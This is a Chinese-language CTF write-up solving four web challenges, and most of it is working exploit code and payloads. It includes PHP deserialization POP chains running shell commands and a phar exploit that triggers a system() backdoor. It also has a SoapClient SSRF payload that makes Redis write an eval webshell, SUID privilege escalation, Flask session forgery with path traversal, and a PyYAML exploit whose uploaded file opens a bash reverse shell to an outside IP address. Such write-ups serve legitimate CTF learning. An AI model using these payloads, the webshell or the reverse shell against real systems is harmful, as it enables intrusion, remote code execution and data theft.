目录
EasyPOP
hade_waibo
EasyLove
BlogSystem
EasyPOP
先读hint.php
sorry.__destruct -> secret_code::secret()
exp:
$a=new sorry();
$b=new secret_code();
$a->password="suibian";
$a->name="jay";
echo serialize($a);
真暗号啊🤔
然后直接瞪眼看链子就完了
sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke
exp:
<?php
class fine
{
public $cmd;
public $content;
}
class show
{
public $ctf;
public $time;
}
class sorry
{
public $name;
public $password;
public $hint;
public $key;
}
class secret_code
{
public $code;
}
//sorry.__destruct -> show.__toString ->secret_code.show() -> sorry.__get -> fine.__invoke
$a=new sorry();
$b=new show();
$c=new secret_code();
$d=new sorry();
$e=new fine();
$e->cmd="system";
$e->content="tac /f*";
$d->key=$e;
$c->code=$d;
$b->ctf=$c;
$a->name=&$a->password;
$a->hint=$b;
echo serialize($a);
wakeup绕过把fine的属性数改成3就可
payload:
?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";R:2;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:7:"tac /f*";}}}s:4:"time";N;}s:3:"key";N;}
hade_waibo
先随便输个用户名登进去
cancanneed可以任意文件读取
bp抓包拿到
base64解码得
尝试读/flag和/proc/1/environ均无果
于是读index.php
<?php
error_reporting(0);
session_start();
include 'class.php';
if(isset($_POST['username']) && $_POST['username']!=''){
#修复了登录还需要passwd的漏洞
$user = new User($_POST['username']);
}
if($_SESSION['isLogin']){
die("<script>alert('Login success!');location.href='file.php'</script>");
}else{
die('
<form action="index.php" method="post">
<div class="ui input">
<input type="text" name="username" placeholder="Give me uname" maxlength="6">
</div>
<form>');
}
class.php
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" οnclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
典啊,很典啊
存在一个恶意类,可以配合User类来利用
注意最后的无字母数字rce不在eval中,所以常规的异或取反自增都不能用
在File.show()存在file_get_contents,可以触发phar反序列化
之后对Test类的后门进行利用时要绕过wakeup,靶机是高版本php,不能用CVE-2016-7124打,但因为这题的特殊性,所以哪怕不绕过也可以玩。
因为反序列化时会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup,即先执行内层再执行外层,所以可以有如下利用
User::__wakeup()里username的值可以被赋值为 $_SESSION[“username”]的值,而这个值是我们可控的
将User::$username的值和Test::value的值使用引用关联起来,这样两个的值就会一直相同
以. ./*登录,则可执行system('. ./*')
恶意phar包生成脚本
<?php
class User{
public $username;
}
class Test
{
public $value;
}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->test=$a;
$a->value=&$b->username;
unlink("exp.phar");
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
先上传一个恶意文件
内容为
#!/bin/bash
ls /
再上传恶意phar包
用文件读取功能触发phar反序列化
phar:///var/www/html/upload/dasctffa7668f272204eb70911a4c1be67ccad.png
然后直接读flag文件
/file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc
base64解码即可
EasyLove
先进行一个hint.php的看
?hello=O:4:"hint":1:{s:4:"hint";s:63:"php://filter/read=convert.base64-encode/resource=/var/www/html/";}
base64解码拿到
一眼SoapClient打ssrf打redis
exp:
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename yjh.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
public $wllm = 'SoapClient';
public $arsenetang = null;
public $l61q4cheng;
public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>
payload:
?hello=O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A125%3A%22hello%0D%0AAUTH+20220311%0D%0ACONFIG+SET+dir+%2Fvar%2Fwww%2Fhtml%0D%0ASET+x+%27%3C%3F%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%0D%0ACONFIG+SET+dbfilename+yjh.php%0D%0ASAVE%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D
连蚁剑发现没权限读flag
虚拟终端中打开
find / -user root -perm -4000 -print 2>/dev/null
先查找SUID文件
用date提权读文件
带有SUID权限位的提权方法
date -f /hereisflag/flllll111aaagg
BlogSystem
先随便注册个账号
在blog界面翻到secretkey
解密
伪造
修改session,成功以admin登录
发现多了一个download的功能
猜测存在目录穿越下载任意文件
/download?path=../../../app/app.py
from flask import *
import config
app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *
app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')
@app.context_processor
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', 80)
可以看到app.py引入了三个包:config model view
关于__init__.py
/download?path=../../../app/view/__init__.py
读view/__init__.py
同理也可以读
/app/view/index.py&/app/view/blog.py
关键代码:
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
try:
file = request.files.get('editormd-image-file')
fileName = file.filename.replace('..','')
filePath = os.path.join("static/upload/", fileName)
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:
with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)
def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True
写一个恶意文件exp.py
import os
os.popen("bash -c 'bash -i &> /dev/tcp/124.222.136.33/1337 0>&1'").read()
用表单上传
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload Form</title>
</head>
<body>
<h1>Upload a File</h1>
<!-- 文件上传表单 -->
<form action="http://f6802fbb-c2e2-41b7-bdee-31bfa406624f.node5.buuoj.cn:81/blog/imgUpload" method="post" enctype="multipart/form-data">
<p>
<label for="file">Choose file to upload:</label>
<input type="file" id="file" name="file" required>
</p>
<p>
<button type="submit">Upload File</button>
</p>
</form>
</body>
</html>
关于yaml反序列化的利用:
SecMap - 反序列化(PyYAML) - Tr0y's Blog
恶意yaml文件
!!python/module:static.upload.exp
最后触发yaml反序列化
/blog/saying?path=static/upload/exp.yaml
反弹shell拿到flag